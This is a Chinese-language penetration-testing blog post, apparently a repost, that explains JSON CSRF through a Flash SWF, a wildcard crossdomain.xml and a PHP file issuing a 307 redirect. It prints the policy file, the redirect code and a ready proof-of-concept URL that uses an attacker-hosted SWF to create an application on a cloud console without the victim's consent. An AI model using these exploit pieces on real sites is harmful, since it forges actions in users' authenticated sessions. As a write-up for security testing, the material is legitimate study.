JSON CSRF新姿勢


以前做滲透測試,遇到過很多次POST數據為JSON數據的CSRF,一直沒有搞定,最近發現一個新姿勢,

​​​本文作者:Mannix@安全文庫

微信公眾號:安全文庫

測試的時候,當應用程序驗證了Content-typedata format,這種新姿勢依然可以可以使用flash307重定向來實現JSON CSRF。

要求:

1 制作一個Flash文件

制作一個跨域XML文件

制作一個具有307狀態碼的PHP文件

制作FLASH文件:

這個flash(.swf)文件有我們需要POST的json格式的數據,攻擊者必須在目標應用程序上發布,並鏈接到托管的php文件。

安全文庫精華文章安全文庫精華文章

這是測試  SWF文件代碼,可以根據需要下載和編輯內容。

跨域XML文件:

<cross-domain-policy>

<allow-access-from domain="*" secure="false"/>

<allow-http-request-headers-from domain="*" headers="*" secure="false"/>

</cross-domain-policy>

該文件應該在攻擊者網站的根目錄上托管,所以flash文件可以請求攻擊者的主機。

注意:如果Flash文件和重定向器頁面在同一個域上,則不需要跨域文件。

具有307狀態碼的PHP文件:

<?php

// redirect automatically

header("Location: https://victim.com/user/endpoint/", true, 307);

?>

Flash文件請求這個php文件,這將使307重定向到所提到的應用程序端點,而307是特殊的重定向,它將發布從Flash文件接收到目標端點的JSON數據,並且CSRF將成功發生。

注意:由於這是基於閃存,所以f​​lash應該安裝在瀏覽器中使其工作,這在現在正常不過了,但可能在將來不會執行。

好了,舉個栗子吧

(所有敏感細節已經遮蔽,此案例僅供技術探討,切勿模仿,否則后果自負)某雲認知服務應用列表創建應用處存JSON CSRF。

安全文庫精華文章安全文庫精華文章

安全文庫精華文章安全文庫精華文章

可以看到幾個關鍵點

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/json; charset=utf-8

X-Requested-With: XMLHttpRequest

沒有驗證referrer也沒有任何token

構造屬於我們自己的POC

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是測試}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

安全文庫精華文章安全文庫精華文章

執行過后,頁面是沒有任何顯示的

返回刷新原始頁面

安全文庫精華文章安全文庫精華文章

可以看到已經成功執行了CSRF創建了一個新的應用

分析一下POC

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是測試}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

安全文庫精華文章安全文庫精華文章

第一步,通過flash發送需要POST的json格式的數據,並鏈接到托管的php文件。

經過307跳轉以后實現CSRF

安全文庫精華文章安全文庫精華文章

安全文庫精華文章安全文庫精華文章

具體文章參考:

http://blog.xss.tv/test.swf?jsonData={"Mannix":Mannix}&php_url=http://blog.xss.tv/test.php&endpoint=http://Mannix.Mannix.com

需要測試的可以直接按照我的POC套數據。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM